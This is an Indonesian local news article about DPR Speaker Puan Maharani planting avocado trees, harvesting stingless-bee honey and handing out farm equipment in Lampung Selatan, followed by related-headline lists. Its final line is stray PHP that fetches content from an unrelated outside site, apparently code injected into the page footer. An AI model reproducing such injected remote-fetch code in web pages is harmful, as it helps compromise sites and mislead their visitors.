Kunjungi Lampung Selatan, Ketua DPR RI Puan Maharani Tanam Pohon Alpukat Hingga Panen Madu Lebah Trigona Sp

Jumat, 26 Agustus 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

KALIANDA, JEJAKKASUS.INFO

Ketua Dewan Perwakilan Rakyat (DPR) Republik Indonesia (RI) Dr. (H.C) Puan Maharani melakukan kunjungan kerja ke Kabupaten Lampung Selatan, Kamis (25/8/2022).

Didampingi oleh Ketua Komisi IV DPR RI Sudin, S.E. dan Bupati Lampung Selatan H. Nanang Ermanto, anak dari mantan Presiden RI ke-5 Megawati Soekarno Putri ini, langsung menuju ke Kawasan Penyangga Hutan Lindung Rajabasa, yang berlokasi di Kecamatan Kalianda, Kabupaten Lampung Selatan.

Sesampainya disana, Puan Maharani langsung disambut oleh Plt. Dirjen Konservasi Sumber Daya Alam (KSDAE) Kementerian Lingkungan Hidup dan Kehutanan (KLHK) Dr. Ir. Bambang Hendroyono, M.M., Dirjen Holtikultura, Prihasto Setyanto dan Kepala Dinas Pertanian Kab. Lampung Selatan Bibit Purwanto.

 

Pada kesempatan tersebut, Puan Maharani turut melakukan kegiatan penghijauan dengan menanam 1.000 batang pohon alpukat ratu puan bersama dengan 3 orang perwakilan dari Kelompok Wanita Tani (KWT) dan 3 orang perwakilan Petani di Lampung Selatan.

Baca Juga:  Patroli Sinergitas TNI-POLRI Dalam Menjaga Kamtibmas

Selain itu, terdapat juga bantuan 1.000 bibit kopi dan 500 bibit lada dari Balai Pengkajian Teknologi Pertanian (BPTP) Lampung, yang akan ditanam di desa-desa sekitar Gunung Rajabasa, yang masuk dalam Register 3 Hutan Lindung dengan luas 5.200 Ha.

Puan Maharani mengatakan, penanaman pohon buah-buahan di Kawasan Penyangga Hutan Lindung Rajabasa ini, adalah langkah untuk menjaga kelestarian lingkungan alam di Kabupaten Lampung Selatan.

“Mendukung kelestarian alam, tentunya selain itu juga harus menghasilkan. Maka dari itu, tadi kita menanam pohon buah alpukat di sekitar Hutan Lindung Rajabasa,” ungkapnya disela-sela penanaman pohon.

Selain menanam pohon alpukat bersama para KWT dan Petani, Puan Maharani juga panen madu lebah Trigona Sp (madu kelanceng) milik Heri Damora, yang merupakan salah satu petani lebah di Kebun Lebah Simpur, Desa Kecapi, Kecamatan Kalianda, Lampung Selatan.

 

Baca Juga:  Polres Aceh Jaya Gelar Pengamanan dan Pengaturan Lalulintas Sore Hari Menjelang Berbuka Puasa

Bahkan, dirinya juga turut mencicipi langsung madu lebah Trigona Sp yang memiliki banyak khasiat untuk kesehatan tubuh.

Kemudian, Puan Maharani didampingi oleh Bupati Lampung Selatan juga melakukan dialog singkat bersama dengan masyarakat dan para petani setempat, seputar keunggulan dan perkembangan pertanian di Kabupaten Lampung Selatan.

Tak hanya itu, Puan Maharani juga menampung aspirasi para KWT dan Petani Lampung Selatan terkait dengan kendala di dunia pertanian. Mulai dari masalah penyediaan sarana pertanian, permodalan dan pemasaran.

Dalam kesempatan itu, juga turut diberikan bantuan 10 Unit Traktor Roda 2 dan 10 Unit Pompa Air dari Kementerian Pertanian, yang diserahkan kepada wilayah sentra produksi pangan yang tersebar di seluruh Kabupaten Lampung Selatan.

“Semua sudah diterima ya. Intinya barang harus dipegang tanggung jawab, bermanfaat dan bisa dimanfaatkan semaksimal mungkin untuk masyarakat Lampung Selatan. Bukan hanya sekali ini saya melalui temen-temen DPR akan selalu meminta kontribusi dari semua pihak,” kata Puan Maharani.

Baca Juga:  Bangunan Liar Di Bahu Jalan Provinsi Berdiri Tanpa Ijin 

Sementara itu, Bupati Lampung Selatan H. Nanang Ermanto menjelaskan, keunggulan serta capaian sektor pertanian di wilayahnya. Dimana, Kabupaten Lampung Selatan berhasil menjadi wilayah penghasil bawang merah nomor 1 se-Provinsi Lampung. Kemudian, produktivitas padi tertinggi se-Provinsi Lampung (6,46 ton/ha), produksi jagung Lampung Selatan nomor 2 se-Provinsi Lampung.

Lampung Selatan merupakan wilayah yang ditetapkan Kementerian Pertanian sebagai sumber bibit unggul untuk tanaman kelapa, cengkeh dan pala, Lampung Selatan sudah berinovasi dengan melakukan perbanyakan bibit Kelapa Puan Kalianda melalui metode kultur jaringan yang akan menghasilkan 90-100% kelapa kopyor.

“Lampung Selatan adalah satu-satunya Kabupaten di Provinsi Lampung yang mengintegrasikan Lahan Pertanian Pangan Berkelanjutan dengan sistem OSS Perizinan untuk investasi, untuk mengendalikan alih fungsi lahan demi ketahanan pangan, dengan luas kurang lebih 38 ribu hektar,” ujar Nanang.

(Joe/kmf).

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Buset!! Kendaraan Coldiesel BE 8759 PL yang  Terbalik  Ternyata Memuat BBM Ilegal Jenis Pertalite Mencapai Ribuan Liter
Bawaslu Pesawaran Kebut Selesaikan Kasus Pelanggaran Camat tidak Netral
Regulasi Vs Kesejahteraan: Pertarungan Masyarakat Tembelok dalam Penambangan Timah
Camat Negerikaton Terjaring, Ketua Bawaslu Lampung Ingatkan Netralitas ASN di Pilkada 2024
DPRD Lampung Selatan, Menggelar Rapat Paripurna Menetapkan Usulan Pimpinan
Ketua DPRD Lampung Selatan Erma Yusneli menghadiri upacara tabur HUT Ke-79 TNI tahun 2024
BRI Pringsewu Gelar Panen Hadiah Simpedes 2024, Masyarakat Antusias Bahagia 
Wujudkan Segitiga Emas, Pj Gubernur Lampung Ingin Jadikan Pringsewu Sebagai Kotamadya

Berita Terkait

Senin, 7 Oktober 2024 - 00:03 WIB

Buset!! Kendaraan Coldiesel BE 8759 PL yang  Terbalik  Ternyata Memuat BBM Ilegal Jenis Pertalite Mencapai Ribuan Liter

Minggu, 6 Oktober 2024 - 22:49 WIB

Bawaslu Pesawaran Kebut Selesaikan Kasus Pelanggaran Camat tidak Netral

Minggu, 6 Oktober 2024 - 17:31 WIB

Regulasi Vs Kesejahteraan: Pertarungan Masyarakat Tembelok dalam Penambangan Timah

Minggu, 6 Oktober 2024 - 09:51 WIB

Camat Negerikaton Terjaring, Ketua Bawaslu Lampung Ingatkan Netralitas ASN di Pilkada 2024

Sabtu, 5 Oktober 2024 - 21:10 WIB

DPRD Lampung Selatan, Menggelar Rapat Paripurna Menetapkan Usulan Pimpinan

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>